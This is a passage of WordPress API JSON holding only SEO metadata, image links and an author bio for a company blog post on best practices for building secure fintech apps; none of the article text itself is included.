name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/574dc4506cd0a7d8e3b70bb68f6e0f2e\",\"name\":\"Upendra Patel\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a0f088f75bbea05a37e4de9511277fbc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a0f088f75bbea05a37e4de9511277fbc?s=96&d=mm&r=g\",\"caption\":\"Upendra Patel\"},\"description\":\"Upendra Patel is Director &amp; Founder at TriState Technology. He is an enthusiastic techno-savvy person, and closely follows all technological platforms across software development industry. He has an experience of 20+ years with the Software industry and he is actively involved in upcoming software technology implementation trends. He has an extensive experience in delivering software solutions for different industries like Healthcare, Finance, Insurance, Logistics, Education &amp; Ecommerce &amp; Retail etc. His diversified experience includes Project Management, Delivering Management, Technology Architecture &amp; Strategic Road-Mapping. Under his leadership, Team TriState has shown a significant growth. With his strategically thoughts, he drives team exceptionally well.\",\"url\":\"https:\/\/www.tristatetechnology.com\/blog\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Develop a Highly Secure Fintech App [Best Practices]","description":"Securing financial transactions is a priority for every fintech application developer So let's take a look at some of the best practices to develop a secure fintech application.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application","og_locale":"en_US","og_type":"article","og_title":"How to Develop a Highly Secure Fintech App [Best Practices]","og_description":"Securing financial transactions is a priority for every fintech application developer So let's take a look at some of the best practices to develop a secure fintech application.","og_url":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application","article_publisher":"https:\/\/www.facebook.com\/TriStateTechnology","article_published_time":"2022-07-27T04:59:03+00:00","article_modified_time":"2023-12-28T11:54:16+00:00","og_image":[{"width":760,"height":434,"url":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg","type":"image\/jpeg"}],"author":"Upendra Patel","twitter_misc":{"Written by":"Upendra Patel","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application","url":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application","name":"How to Develop a Highly Secure Fintech App [Best Practices]","isPartOf":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#primaryimage"},"image":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#primaryimage"},"thumbnailUrl":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg","datePublished":"2022-07-27T04:59:03+00:00","dateModified":"2023-12-28T11:54:16+00:00","author":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/574dc4506cd0a7d8e3b70bb68f6e0f2e"},"description":"Securing financial transactions is a priority for every fintech application developer So let's take a look at some of the best practices to develop a secure fintech application.","breadcrumb":{"@id":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#primaryimage","url":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg","contentUrl":"https:\/\/images.tristatetechnology.com\/blog-images\/uploads\/2022\/07\/best-practices-to-develop-a-secure-fintech-application.jpg","width":760,"height":434},{"@type":"BreadcrumbList","@id":"https:\/\/www.tristatetechnology.com\/blog\/best-practices-to-develop-a-secure-fintech-application#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.tristatetechnology.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Best practices to develop a secure fintech application"}]},{"@type":"WebSite","@id":"https:\/\/www.tristatetechnology.com\/blog\/#website","url":"https:\/\/www.tristatetechnology.com\/blog\/","name":"","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.tristatetechnology.com\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/574dc4506cd0a7d8e3b70bb68f6e0f2e","name":"Upendra Patel","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.tristatetechnology.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a0f088f75bbea05a37e4de9511277fbc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a0f088f75bbea05a37e4de9511277fbc?s=96&d=mm&r=g","caption":"Upendra Patel"},"description":"Upendra Patel is Director &amp; Founder at TriState Technology. He is an enthusiastic techno-savvy person, and closely follows all technological platforms across software development industry. He has an experience of 20+ years with the Software industry and he is actively involved in upcoming software technology implementation trends. He has an extensive experience in delivering software solutions for different industries like Healthcare, Finance, Insurance, Logistics, Education &amp; Ecommerce &amp; Retail etc. His diversified experience includes Project Management, Delivering Management, Technology Architecture &amp; Strategic Road-Mapping. Under his leadership, Team TriState has shown a significant growth. With his strategically thoughts, he drives team exceptionally well.","url":"https:\/\/www.tristatetechnology.com\/blog\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts\/10052"}],"collection":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/comments?post=10052"}],"version-history":[{"count":57,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts\/10052\/revisions"}],"predecessor-version":[{"id":14581,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/posts\/10052\/revisions\/14581"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/media\/10090"}],"wp:attachment":[{"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/media?parent=10052"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/categories?post=10052"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.tristatetechnology.com\/blog\/wp-json\/wp\/v2\/tags?post=10052"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}